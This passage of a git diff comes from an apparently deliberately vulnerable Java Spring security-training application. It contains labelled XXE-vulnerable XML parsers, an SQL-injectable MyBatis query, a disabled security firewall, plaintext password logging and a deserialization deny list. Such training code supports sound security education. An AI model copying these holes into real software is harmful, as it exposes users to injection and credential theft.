node.getNodeName(), node.getTextContent())); } } - sr.close(); - System.out.println(buf.toString()); return buf.toString(); } catch (Exception e) { - System.out.println(e); - return "except"; - } - } - - - @RequestMapping(value = "/DocumentBuilder", method = RequestMethod.POST) - @ResponseBody - public String DocumentBuilder(HttpServletRequest request) { - try { - String xml_con = getBody(request); - System.out.println(xml_con); - - DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); - DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(xml_con); - InputSource is = new InputSource(sr); - Document document = db.parse(is); // parse xml - - // 遍历xml节点name和value - StringBuffer result = new StringBuffer(); - NodeList rootNodeList = document.getChildNodes(); - for (int i = 0; i < rootNodeList.getLength(); i++) { - Node rootNode = rootNodeList.item(i); - NodeList child = rootNode.getChildNodes(); - for (int j = 0; j < child.getLength(); j++) { - Node node = child.item(j); - // 正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。 - if(child.item(j).getNodeType() == Node.ELEMENT_NODE) { - result.append( node.getNodeName() + ": " + node.getFirstChild().getNodeValue() + "\n" ); - } - } - } - sr.close(); - System.out.println(result.toString()); - return result.toString(); - } catch (Exception e) { - System.out.println(e); - return "except"; + e.printStackTrace(); + logger.error(e.toString()); + return e.toString(); } } - - @RequestMapping(value = "/DocumentBuilder_fix", method = RequestMethod.POST) - @ResponseBody - public String xxe_DocumentBuilder_fix(HttpServletRequest request) { + @RequestMapping(value = "/DocumentBuilder/Sec", method = RequestMethod.POST) + public String DocumentBuilderSec(HttpServletRequest request) { try { - String xml_con = getBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(xml_con); + StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); - Document document = db.parse(is); // parse xml + db.parse(is); // parse xml sr.close(); - - return "test"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + return "DocumentBuilder xxe security code"; } - @RequestMapping(value = "/DocumentBuilder_xinclude", method = RequestMethod.POST) - @ResponseBody - public String xxe_xinclude_DocumentBuilder(HttpServletRequest request) { + @RequestMapping(value = "/DocumentBuilder/xinclude/vuln", method = RequestMethod.POST) + public String DocumentBuilderXincludeVuln(HttpServletRequest request) { try { - String xml_con = getBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setXIncludeAware(true); // 支持XInclude dbf.setNamespaceAware(true); // 支持XInclude DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(xml_con); + StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); Document document = db.parse(is); // parse xml NodeList rootNodeList = document.getChildNodes(); - - for (int i = 0; i < rootNodeList.getLength(); i++) { - Node rootNode = rootNodeList.item(i); - NodeList xxe = rootNode.getChildNodes(); - for (int j = 0; j < xxe.getLength(); j++) { - Node xxeNode = xxe.item(j); - // 测试不能blind xxe,所以强行加了一个回显 - System.out.println("xxeNode: " + xxeNode.getNodeValue()); - } - - } + response(rootNodeList); sr.close(); - return "test"; + return "DocumentBuilder xinclude xxe vuln code"; } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } } - @RequestMapping(value = "/DocumentBuilder_xinclude_fix", method = RequestMethod.POST) - @ResponseBody - public String xxe_xinclude_DocumentBuilder_fix(HttpServletRequest request) { + @RequestMapping(value = "/DocumentBuilder/xinclude/sec", method = RequestMethod.POST) + public String DocumentBuilderXincludeSec(HttpServletRequest request) { try { - String xml_con = getBody(request); - System.out.println(xml_con); + String body = WebUtils.getRequestBody(request); + logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setXIncludeAware(true); // 支持XInclude @@ -368,48 +321,123 @@ public String xxe_xinclude_DocumentBuilder_fix(HttpServletRequest request) { dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); + DocumentBuilder db = dbf.newDocumentBuilder(); - StringReader sr = new StringReader(xml_con); + StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); Document document = db.parse(is); // parse xml NodeList rootNodeList = document.getChildNodes(); + response(rootNodeList); - for (int i = 0; i < rootNodeList.getLength(); i++) { - Node rootNode = rootNodeList.item(i); - NodeList xxe = rootNode.getChildNodes(); - for (int j = 0; j < xxe.getLength(); j++) { - Node xxeNode = xxe.item(j); - // 测试不能blind xxe,所以强行加了一个回显 - System.out.println("xxeNode: " + xxeNode.getNodeValue()); - } + sr.close(); + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + return "DocumentBuilder xinclude xxe vuln code"; + } - } - sr.close(); - return "test"; + @PostMapping("/XMLReader/vuln") + public String XMLReaderVuln(HttpServletRequest request) { + try { + String body = WebUtils.getRequestBody(request); + logger.info(body); + + SAXParserFactory spf = SAXParserFactory.newInstance(); + SAXParser saxParser = spf.newSAXParser(); + XMLReader xmlReader = saxParser.getXMLReader(); + xmlReader.parse(new InputSource(new StringReader(body))); + } catch (Exception e) { - System.out.println(e); - return "except"; + logger.error(e.toString()); + return EXCEPT; } + + return "XMLReader xxe vuln code"; } - // 获取body数据 - private String getBody(HttpServletRequest request) throws IOException { - InputStream in = request.getInputStream(); - BufferedReader br = new BufferedReader(new InputStreamReader(in)); - StringBuffer sb = new StringBuffer(""); - String temp; - while ((temp = br.readLine()) != null) { - sb.append(temp); + + @PostMapping("/XMLReader/sec") + public String XMLReaderSec(HttpServletRequest request) { + try { + String body = WebUtils.getRequestBody(request); + logger.info(body); + + SAXParserFactory spf = SAXParserFactory.newInstance(); + SAXParser saxParser = spf.newSAXParser(); + XMLReader xmlReader = saxParser.getXMLReader(); + xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); + xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false); + xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); + xmlReader.parse(new InputSource(new StringReader(body))); + + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + return "XMLReader xxe security code"; + } + + + /** + * 修复该漏洞只需升级dom4j到2.1.1及以上,该版本及以上禁用了ENTITY; + * 不带ENTITY的PoC不能利用,所以禁用ENTITY即可完成修复。 + */ + @PostMapping("/DocumentHelper/vuln") + public String DocumentHelper(HttpServletRequest req) { + try { + String body = WebUtils.getRequestBody(req); + DocumentHelper.parseText(body); // parse xml + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; + } + + return "DocumentHelper xxe vuln code"; + } + + + private static void response(NodeList rootNodeList){ + for (int i = 0; i < rootNodeList.getLength(); i++) { + Node rootNode = rootNodeList.item(i); + NodeList xxe = rootNode.getChildNodes(); + for (int j = 0; j < xxe.getLength(); j++) { + Node xxeNode = xxe.item(j); + // 测试不能blind xxe,所以强行加了一个回显 + logger.info("xxeNode: " + xxeNode.getNodeValue()); + } + } - if (in != null) { - in.close(); + } + + /** + * Receiving POST requests supporting both JSON and XML. + * CVE-2018-1259 + */ + @PostMapping(value = "/xmlbeam/vuln") + HttpEntity post(@RequestBody UserPayload user) { + try { + logger.info(user.toString()); + return ResponseEntity.ok(String.format("hello, %s!", user.getUserName())); + }catch (Exception e){ + e.printStackTrace(); + return ResponseEntity.ok("error"); + } } - if (br != null) { - br.close(); + + /** + * The projection interface using XPath and JSON Path expression to selectively pick elements from the payload. + */ + @ProjectedPayload + public interface UserPayload { + @XBRead("//userName") + String getUserName(); } - return sb.toString(); + + public static void main(String[] args) { + } -} +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java b/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java new file mode 100644 index 00000000..3000d558 --- /dev/null +++ b/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java @@ -0,0 +1,75 @@ +package org.joychou.controller.othervulns; + +import org.apache.poi.xssf.usermodel.XSSFCell; +import org.apache.poi.xssf.usermodel.XSSFRow; +import org.apache.poi.xssf.usermodel.XSSFSheet; +import org.apache.poi.xssf.usermodel.XSSFWorkbook; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.multipart.MultipartFile; + +import java.io.IOException; +import java.util.Iterator; + + +/** + * Desc: poi-ooxml xxe vuln code + * Usage: [Content_Type].xml http://localhost:8080/ooxml/upload + * Ref: https://www.itread01.com/hkpcyyp.html + * Fix: Update poi-ooxml to 3.15 or above. + * Vuln: 3.10 or below exist xxe vuln. 3.14 or below exist dos vuln. So 3.15 or above is safe version. + * + * @author JoyChou @2019-09-05 + */ +@Controller +@RequestMapping("ooxml") +public class ooxmlXXE { + + + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + + @GetMapping("/upload") + public String index() { + return "xxe_upload"; // return xxe_upload.html page + } + + + @PostMapping("/readxlsx") + @ResponseBody + public String ooxml_xxe(MultipartFile file) throws IOException { + XSSFWorkbook wb = new XSSFWorkbook(file.getInputStream()); // xxe vuln + + XSSFSheet sheet = wb.getSheetAt(0); + XSSFRow row; + XSSFCell cell; + + Iterator rows = sheet.rowIterator(); + StringBuilder sbResult = new StringBuilder(); + + while (rows.hasNext()) { + + row = (XSSFRow) rows.next(); + Iterator cells = row.cellIterator(); + + while (cells.hasNext()) { + cell = (XSSFCell) cells.next(); + + if (cell.getCellType() == XSSFCell.CELL_TYPE_STRING) { + sbResult.append(cell.getStringCellValue()).append(" "); + } else if (cell.getCellType() == XSSFCell.CELL_TYPE_NUMERIC) { + sbResult.append(cell.getNumericCellValue()).append(" "); + } else { + logger.info("errors"); + } + } + } + + return sbResult.toString(); + } +} diff --git a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java new file mode 100644 index 00000000..d3107c3e --- /dev/null +++ b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java @@ -0,0 +1,43 @@ +package org.joychou.controller.othervulns; + +import com.monitorjbl.xlsx.StreamingReader; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.multipart.MultipartFile; + +import java.io.FileInputStream; +import java.io.IOException; + + +/** + * Desc: xlsx-streamer xxe vuln code + * Usage: xl/workbook.xml + * Ref: https://www.itread01.com/hkpcyyp.html + * Fix: update xlsx-streamer to 2.1.0 or above + * + * @author JoyChou @2019-09-05 + */ +@Controller +@RequestMapping("xlsx-streamer") +public class xlsxStreamerXXE { + + + @GetMapping("/upload") + public String index() { + return "xxe_upload"; // return xxe_upload.html page + } + + + @PostMapping("/readxlsx") + public void xllx_streamer_xxe(MultipartFile file) throws IOException { + StreamingReader.builder().open(file.getInputStream()); + } + + + public static void main(String[] args) throws Exception { + StreamingReader.builder().open((new FileInputStream("poc.xlsx"))); + } +} diff --git a/src/main/java/org/joychou/dao/User.java b/src/main/java/org/joychou/dao/User.java new file mode 100644 index 00000000..0b8eb3b0 --- /dev/null +++ b/src/main/java/org/joychou/dao/User.java @@ -0,0 +1,11 @@ +package org.joychou.dao; + +import lombok.Data; + + +@Data +public class User { + private Integer id; + private String username; + private String password; +} diff --git a/src/main/java/org/joychou/filter/BaseCorsFilter.java b/src/main/java/org/joychou/filter/BaseCorsFilter.java new file mode 100644 index 00000000..9987464f --- /dev/null +++ b/src/main/java/org/joychou/filter/BaseCorsFilter.java @@ -0,0 +1,35 @@ +package org.joychou.filter; + +import org.springframework.core.Ordered; +import org.springframework.core.annotation.Order; +import org.springframework.stereotype.Component; +import org.springframework.web.cors.CorsConfiguration; +import org.springframework.web.cors.UrlBasedCorsConfigurationSource; +import org.springframework.web.filter.CorsFilter; + +/** + * 由于CorsFilter和spring security冲突,所以改为下面的代码。 + */ +@Component +@Order(Ordered.HIGHEST_PRECEDENCE) +public class BaseCorsFilter extends CorsFilter { + + public BaseCorsFilter() { + super(configurationSource()); + } + + private static UrlBasedCorsConfigurationSource configurationSource() { + CorsConfiguration config = new CorsConfiguration(); + config.setAllowCredentials(true); + config.addAllowedOrigin("joychou.org"); // 不支持 + config.addAllowedOrigin("http://test.joychou.me"); + config.addAllowedHeader("*"); + config.addAllowedMethod("GET"); + config.addAllowedMethod("POST"); + + UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); + source.registerCorsConfiguration("/cors/sec/corsFilter", config); + + return source; + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java new file mode 100644 index 00000000..271a4562 --- /dev/null +++ b/src/main/java/org/joychou/filter/OriginFilter.java @@ -0,0 +1,59 @@ +package org.joychou.filter; + + +import javax.servlet.*; +import javax.servlet.annotation.WebFilter; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + + +/** + * 推荐使用该全局方案修复Cors跨域漏洞,因为可以校验一级域名。 + * + * @author JoyChou @ 2019.12.19 + */ +@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter") +public class OriginFilter implements Filter { + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @Override + public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) + throws IOException, ServletException { + + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; + + String origin = request.getHeader("Origin"); + logger.info("[+] Origin: " + origin + "\tCurrent url:" + request.getRequestURL()); + + // 以file协议访问html,origin为字符串的null,所以依然会走安全check逻辑 + if (origin != null && SecurityUtil.checkURL(origin) == null) { + logger.error("[-] Origin check error. " + "Origin: " + origin + + "\tCurrent url:" + request.getRequestURL()); + response.setStatus(response.SC_FORBIDDEN); + response.getWriter().println("Invaid cors config by joychou."); + return; + } + + response.setHeader("Access-Control-Allow-Origin", origin); + response.setHeader("Access-Control-Allow-Credentials", "true"); + response.setHeader("Access-Control-Allow-Methods", "GET, POST, OPTION"); + + filterChain.doFilter(req, res); + } + + @Override + public void destroy() { + + } +} diff --git a/src/main/java/org/joychou/filter/ReferFilter.java b/src/main/java/org/joychou/filter/ReferFilter.java new file mode 100644 index 00000000..30a914f3 --- /dev/null +++ b/src/main/java/org/joychou/filter/ReferFilter.java @@ -0,0 +1,85 @@ +package org.joychou.filter; + +import javax.servlet.*; +import javax.servlet.annotation.WebFilter; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +import org.apache.commons.lang.StringUtils; +import org.joychou.config.WebConfig; +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.util.AntPathMatcher; +import org.springframework.util.PathMatcher; + + +/** + * Check referer for all GET requests with callback parameters. + * If the check of referer fails, a 403 forbidden error page will be returned. + *

+ * Still need to add @ServletComponentScan annotation in Application.java. + */ +@WebFilter(filterName = "referFilter", urlPatterns = "/*") +public class ReferFilter implements Filter { + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @Override + public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) + throws IOException, ServletException { + + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; + String refer = request.getHeader("referer"); + PathMatcher matcher = new AntPathMatcher(); + boolean isMatch = false; + + // 获取要校验Referer的Uri + for (String uri : WebConfig.getReferUris()) { + if (matcher.match(uri, request.getRequestURI())) { + isMatch = true; + break; + } + } + + if (!isMatch) { + filterChain.doFilter(req, res); + return; + } + + if (!WebConfig.getReferSecEnabled()) { + filterChain.doFilter(req, res); + return; + } + + // Check referer for all GET requests with callback parameters. + + String reqCallback = request.getParameter(WebConfig.getBusinessCallback()); + if ("GET".equals(request.getMethod()) && StringUtils.isNotBlank(reqCallback)) { + // If the check of referer fails, a 403 forbidden error page will be returned. + if (SecurityUtil.checkURL(refer) == null) { + logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" + + "Referer: " + refer); + response.setStatus(HttpServletResponse.SC_FORBIDDEN); + response.getWriter().write(" Referer check error."); + response.flushBuffer(); + return; + } + } + + + filterChain.doFilter(req, res); + } + + @Override + public void destroy() { + + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/impl/HttpServiceImpl.java b/src/main/java/org/joychou/impl/HttpServiceImpl.java new file mode 100644 index 00000000..d3bbf3a1 --- /dev/null +++ b/src/main/java/org/joychou/impl/HttpServiceImpl.java @@ -0,0 +1,44 @@ +package org.joychou.impl; + + +import org.joychou.service.HttpService; +import org.springframework.http.HttpEntity; +import org.springframework.http.HttpHeaders; +import org.springframework.http.ResponseEntity; +import org.springframework.stereotype.Service; +import org.springframework.web.client.RestTemplate; +import org.springframework.http.HttpMethod; + +import javax.annotation.Resource; + +@Service +public class HttpServiceImpl implements HttpService { + + @Resource + private RestTemplate restTemplate; + + @Resource + private RestTemplate restTemplateBanRedirects; + + /** + * Http request by RestTemplate. Only support HTTP protocol.

+ * Redirects: GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.

+ * User-Agent: Java/1.8.0_102

+ */ + public String RequestHttp(String url, HttpHeaders headers) { + HttpEntity entity = new HttpEntity<>(headers); + ResponseEntity re = restTemplate.exchange(url, HttpMethod.GET, entity, String.class); + return re.getBody(); + } + + /** + * Http request by RestTemplate. Only support HTTP protocol.

+ * Redirects: Disable followRedirects.

+ * User-Agent: Java/1.8.0_102

+ */ + public String RequestHttpBanRedirects(String url, HttpHeaders headers) { + HttpEntity entity = new HttpEntity<>(headers); + ResponseEntity re = restTemplateBanRedirects.exchange(url, HttpMethod.GET, entity, String.class); + return re.getBody(); + } +} diff --git a/src/main/java/org/joychou/mapper/UserMapper.java b/src/main/java/org/joychou/mapper/UserMapper.java new file mode 100644 index 00000000..b88fb561 --- /dev/null +++ b/src/main/java/org/joychou/mapper/UserMapper.java @@ -0,0 +1,30 @@ +package org.joychou.mapper; + +import org.apache.ibatis.annotations.Mapper; +import org.apache.ibatis.annotations.Param; +import org.apache.ibatis.annotations.Select; +import org.joychou.dao.User; + +import java.util.List; + +@Mapper +public interface UserMapper { + + /** + * If using simple sql, we can use annotation. Such as @Select @Update. + * If using ${username}, application will send a error. + */ + @Select("select * from users where username = #{username}") + User findByUserName(@Param("username") String username); + + @Select("select * from users where username = '${username}'") + List findByUserNameVuln01(@Param("username") String username); + + List findByUserNameVuln02(String username); + List findByUserNameVuln03(@Param("order") String order); + + User findById(Integer id); + + User OrderByUsername(); + +} diff --git a/src/main/java/org/joychou/security/AntObjectInputStream.java b/src/main/java/org/joychou/security/AntObjectInputStream.java new file mode 100644 index 00000000..ef332360 --- /dev/null +++ b/src/main/java/org/joychou/security/AntObjectInputStream.java @@ -0,0 +1,80 @@ +package org.joychou.security; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.*; + +/** + * RASP:Hook java/io/ObjectInputStream类的resolveClass方法 + * RASP: https://github.com/baidu/openrasp/blob/master/agent/java/engine/src/main/java/com/baidu/openrasp/hook/DeserializationHook.java + * + * Run main method to test. + */ +public class AntObjectInputStream extends ObjectInputStream { + + protected final Logger logger= LoggerFactory.getLogger(AntObjectInputStream.class); + + public AntObjectInputStream(InputStream inputStream) throws IOException { + super(inputStream); + } + + /** + * 只允许反序列化SerialObject class + * + * 在应用上使用黑白名单校验方案比较局限,因为只有使用自己定义的AntObjectInputStream类,进行反序列化才能进行校验。 + * 类似fastjson通用类的反序列化就不能校验。 + * 但是RASP是通过HOOK java/io/ObjectInputStream类的resolveClass方法,全局的检测白名单。 + * + */ + @Override + protected Class resolveClass(final ObjectStreamClass desc) + throws IOException, ClassNotFoundException + { + String className = desc.getName(); + + // Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject + logger.info("Deserialize class name: " + className); + + String[] denyClasses = {"java.net.InetAddress", + "org.apache.commons.collections.Transformer", + "org.apache.commons.collections.functors"}; + + for (String denyClass : denyClasses) { + if (className.startsWith(denyClass)) { + throw new InvalidClassException("Unauthorized deserialization attempt", className); + } + } + + return super.resolveClass(desc); + } + + public static void main(String args[]) throws Exception{ + // 定义myObj对象 + MyObject myObj = new MyObject(); + myObj.name = "world"; + + // 创建一个包含对象进行反序列化信息的/tmp/object数据文件 + FileOutputStream fos = new FileOutputStream("/tmp/object"); + ObjectOutputStream os = new ObjectOutputStream(fos); + + // writeObject()方法将myObj对象写入/tmp/object文件 + os.writeObject(myObj); + os.close(); + + // 从文件中反序列化obj对象 + FileInputStream fis = new FileInputStream("/tmp/object"); + AntObjectInputStream ois = new AntObjectInputStream(fis); // AntObjectInputStream class + + //恢复对象即反序列化 + MyObject objectFromDisk = (MyObject)ois.readObject(); + System.out.println(objectFromDisk.name); + ois.close(); + } + + static class MyObject implements Serializable { + public String name; + } +} + + diff --git a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java new file mode 100644 index 00000000..4f8ad327 --- /dev/null +++ b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java @@ -0,0 +1,36 @@ +package org.joychou.security; + + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.MediaType; +import org.springframework.security.access.AccessDeniedException; +import org.springframework.security.web.access.AccessDeniedHandler; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * Csrf access denied page. + * + * @author JoyChou + */ +public class CsrfAccessDeniedHandler implements AccessDeniedHandler { + + protected final Logger logger= LoggerFactory.getLogger(this.getClass()); + + @Override + public void handle(HttpServletRequest request, HttpServletResponse response, + AccessDeniedException accessDeniedException) throws IOException { + + logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" + + "Referer: " + request.getHeader("referer")); + + response.setContentType(MediaType.TEXT_HTML_VALUE); // content-type: text/html + response.setStatus(HttpServletResponse.SC_FORBIDDEN); // 403 forbidden + response.getWriter().write("403 forbidden by JoyChou."); // response contents + } + +} + diff --git a/src/main/java/org/joychou/security/CustomCorsProcessor.java b/src/main/java/org/joychou/security/CustomCorsProcessor.java new file mode 100644 index 00000000..6d67825f --- /dev/null +++ b/src/main/java/org/joychou/security/CustomCorsProcessor.java @@ -0,0 +1,52 @@ +package org.joychou.security; + +import org.apache.commons.lang.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.cors.CorsConfiguration; +import org.springframework.web.cors.DefaultCorsProcessor; + +public class CustomCorsProcessor extends DefaultCorsProcessor { + + private static final Logger logger = LoggerFactory.getLogger(CustomCorsProcessor.class); + + + /** + * 跨域请求,会通过此方法检测请求源是否被允许 + * + * @param config CORS 配置 + * @param requestOrigin 请求源 + * @return 如果请求源被允许,返回请求源;否则返回 null + */ + @Override + protected String checkOrigin(CorsConfiguration config, String requestOrigin) { + + // 支持checkOrigin原装的域名配置 + String result = super.checkOrigin(config, requestOrigin); + if (result != null) { + return result; + } + + if (StringUtils.isBlank(requestOrigin)) { + return null; + } + + return customCheckOrigin(requestOrigin); + } + + + /** + * 自定义校验requestOrigin + */ + private String customCheckOrigin(String requestOrigin) { + + if ( SecurityUtil.checkURL(requestOrigin) != null) { + logger.info("[+] Origin: " + requestOrigin ); + return requestOrigin; + } + logger.error("[-] Origin: " + requestOrigin ); + return null; + } + + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java b/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java new file mode 100644 index 00000000..d7f12627 --- /dev/null +++ b/src/main/java/org/joychou/security/DisableSpringSecurityFirewall.java @@ -0,0 +1,27 @@ +package org.joychou.security; + +import org.springframework.security.web.firewall.FirewalledRequest; +import org.springframework.security.web.firewall.HttpFirewall; +import org.springframework.security.web.firewall.RequestRejectedException; +import org.springframework.stereotype.Component; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +@Component +public class DisableSpringSecurityFirewall implements HttpFirewall { + + @Override + public FirewalledRequest getFirewalledRequest(HttpServletRequest request) throws RequestRejectedException { + return new FirewalledRequest(request) { + @Override + public void reset() { + } + }; + } + + @Override + public HttpServletResponse getFirewalledResponse(HttpServletResponse response) { + return response; + } +} diff --git a/src/main/java/org/joychou/security/LoginFailureHandler.java b/src/main/java/org/joychou/security/LoginFailureHandler.java new file mode 100644 index 00000000..eb41014e --- /dev/null +++ b/src/main/java/org/joychou/security/LoginFailureHandler.java @@ -0,0 +1,32 @@ +package org.joychou.security; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.MediaType; +import org.springframework.security.core.AuthenticationException; +import org.springframework.security.web.authentication.AuthenticationFailureHandler; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + + + +public class LoginFailureHandler implements AuthenticationFailureHandler { + + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @Override + public void onAuthenticationFailure(HttpServletRequest request, + HttpServletResponse response, AuthenticationException exception) + throws ServletException, IOException { + + logger.info("Login failed. " + request.getRequestURL() + + " username: " + request.getParameter("username") + + " password: " + request.getParameter("password") ); + + response.setContentType(MediaType.APPLICATION_JSON_VALUE); + response.getWriter().write("{\"code\":1, \"message\":\"Login failed.\"}"); + } + +} diff --git a/src/main/java/org/joychou/security/LoginSuccessHandler.java b/src/main/java/org/joychou/security/LoginSuccessHandler.java new file mode 100644 index 00000000..d588818b --- /dev/null +++ b/src/main/java/org/joychou/security/LoginSuccessHandler.java @@ -0,0 +1,51 @@ +package org.joychou.security; + +import com.alibaba.fastjson.JSON; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.MediaType; +import org.springframework.security.core.Authentication; +import org.springframework.security.web.authentication.AuthenticationSuccessHandler; +import org.springframework.security.web.savedrequest.HttpSessionRequestCache; +import org.springframework.security.web.savedrequest.SavedRequest; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.util.HashMap; +import java.util.Map; + + +public class LoginSuccessHandler implements AuthenticationSuccessHandler { + + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @Override + public void onAuthenticationSuccess(HttpServletRequest request, + HttpServletResponse response, Authentication authentication) + throws ServletException, IOException { + + logger.info("USER " + authentication.getName()+ " LOGIN SUCCESS."); + + SavedRequest savedRequest = new HttpSessionRequestCache().getRequest(request, response); + String originUrl = ""; + try { + originUrl = savedRequest.getRedirectUrl(); + } catch (Exception e) { + logger.debug(e.toString()); + } + + if (savedRequest != null) { + logger.info("Original url is: " + originUrl); + } + + Map content = new HashMap<>(); + content.put("code", "0"); + content.put("message", "Login success"); + content.put("redirectUrl", originUrl); + // 直接进行sendRedirect到登录前的url,会重定向失败。具体原因可google ajax and sendRedirect + response.setContentType(MediaType.APPLICATION_JSON_VALUE); + response.getWriter().write(JSON.toJSONString(content)); + } +} diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java new file mode 100644 index 00000000..fef14593 --- /dev/null +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -0,0 +1,253 @@ +package org.joychou.security; + +import org.joychou.config.WebConfig; +import org.joychou.security.ssrf.SSRFChecker; +import org.joychou.security.ssrf.SocketHook; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.net.URI; +import java.net.URISyntaxException; +import java.net.URLDecoder; +import java.util.ArrayList; +import java.util.regex.Pattern; + + +public class SecurityUtil { + + private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$"); + private final static Logger logger = LoggerFactory.getLogger(SecurityUtil.class); + + + /** + * Determine if the URL starts with HTTP. + * + * @param url url + * @return true or false + */ + public static boolean isHttp(String url) { + return url.startsWith("http://") || url.startsWith("https://"); + } + + + /** + * Get http url host. + * + * @param url url + * @return host + */ + public static String gethost(String url) { + try { + URI uri = new URI(url); + return uri.getHost().toLowerCase(); + } catch (URISyntaxException e) { + return ""; + } + } + + + /** + * 同时支持一级域名和多级域名,相关配置在resources目录下url/url_safe_domain.xml文件。 + * 优先判断黑名单,如果满足黑名单return null。 + * + * @param url the url need to check + * @return Safe url returns original url; Illegal url returns null; + */ + public static String checkURL(String url) { + + if (null == url){ + return null; + } + + ArrayList safeDomains = WebConfig.getSafeDomains(); + ArrayList blockDomains = WebConfig.getBlockDomains(); + + try { + String host = gethost(url); + + // 必须http/https + if (!isHttp(url)) { + return null; + } + + // 如果满足黑名单返回null + if (blockDomains.contains(host)){ + return null; + } + for(String blockDomain: blockDomains) { + if(host.endsWith("." + blockDomain)) { + return null; + } + } + + // 支持多级域名 + if (safeDomains.contains(host)){ + return url; 